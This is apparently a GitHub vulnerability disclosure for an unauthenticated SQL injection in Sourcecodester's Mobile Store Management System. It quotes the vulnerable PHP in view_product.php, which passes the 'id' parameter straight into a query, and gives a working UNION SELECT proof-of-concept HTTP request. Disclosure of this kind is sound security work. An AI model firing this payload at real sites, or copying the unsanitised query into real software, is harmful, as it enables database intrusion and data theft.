Skip to content

Latest commit

 

History

History
57 lines (48 loc) · 1.79 KB

Unauthenticated SQL Injection - Mobile Management Store.md

File metadata and controls

57 lines (48 loc) · 1.79 KB

Sourcecodester / Mobile Management Store - Unauthenticated SQL Injection

Vendor Homepage:

https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html

Affected Component

/view_product.php

Code

<?php 
 $products = $conn->query("SELECT p.*,b.name as bname FROM `products` p inner join brands b on p.brand_id = b.id where md5(p.id) = '{$_GET['id']}' ");
 if($products->num_rows > 0){
     foreach($products->fetch_assoc() as $k => $v){
         $$k= stripslashes($v);
     }
    $upload_path = base_app.'/uploads/product_'.$id;
    $img = "";
    if(is_dir($upload_path)){
        $fileO = scandir($upload_path);
        if(isset($fileO[2]))
            $img = "uploads/product_".$id."/".$fileO[2];
        // var_dump($fileO);
    }
    $inventory = $conn->query("SELECT * FROM inventory where product_id = ".$id);
    $inv = array();
    while($ir = $inventory->fetch_assoc()){
        $inv[] = $ir;
    }
 }
?>

Proof of Concept

HTTP Request Example

GET /mobile_store/?p=view_product&id=c4ca4238a0b923820dcc509a6f75849b'+AND+FALSE+UNION+SELECT+1,2,3,4,version(),6,7,8,9--+- HTTP/1.1
Host: [REDACTED]
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Cookie: lang=en_US;
Connection: close

Screenshot

image

Credits

Russel James Avenido